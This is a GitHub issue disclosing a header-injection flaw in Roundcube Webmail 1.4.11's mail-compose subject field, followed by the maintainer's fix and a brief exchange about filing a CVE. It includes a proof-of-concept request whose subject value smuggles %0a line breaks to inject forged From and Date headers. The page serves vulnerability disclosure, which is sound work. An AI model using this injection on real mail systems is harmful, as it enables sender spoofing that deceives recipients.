Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

CRLF injection in subject #8404

Closed
apmemka opened this issue Jan 17, 2022 · 3 comments
Closed

CRLF injection in subject #8404

apmemka opened this issue Jan 17, 2022 · 3 comments
Labels
bug C: Mail composing
Milestone
1.6-beta

Comments

@apmemka
Copy link

apmemka commented Jan 17, 2022 •
edited

Hi,

I wrote you on hello@roundcube.net and dev@lists.roundcube.net but didn't get any response.

Sending new email user can modify eml content with LF (%0a) injection in subject.

Tested in Roundcube 1.4.11

Vulnerable request:

POST /?_task=mail&_unlock=<...>&_framed=1&_lang=ru HTTP/1.1
<...>

_subject=TEST%0aFrom:admin@google.com%0aDate:1&<....>

image

.eml file:

MIME-Version: 1.0
Date: Mon, 17 Jan 2022 23:17:29 +0300
From: s02<...>ru
To: <...>
Subject: TEST
From:admin@google.com
Date:1
User-Agent: Roundcube Webmail/1.4.11
Message-ID: <7af972d<..>c76ecc85f3@<..>.ru>
X-Sender: s02<...>ru
@alecpl alecpl added this to the 1.6-beta milestone Jan 22, 2022
alecpl added a commit that referenced this issue Jan 22, 2022
@alecpl
Fix mail headers injection via the subject field on mail compose (#8404)
ab91416
alecpl added a commit that referenced this issue Jan 22, 2022
@alecpl
Fix mail headers injection via the subject field on mail compose (#8404)
6d5c41e
@alecpl
Copy link
Member

alecpl commented Jan 22, 2022

Fixed.

@alecpl alecpl closed this as completed Jan 22, 2022
@apmemka
Copy link
Author

apmemka commented Jan 24, 2022

@alecpl Thanks!

What's about CVE?
Do you register it yourselves or I should write to MITRE?

@alecpl
Copy link
Member

alecpl commented Jan 24, 2022

Please, do it. I have no time and good experience with contacting MITRE.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
bug C: Mail composing
Projects
None yet
Milestone
1.6-beta
Development

No branches or pull requests
2 participants
@alecpl @apmemka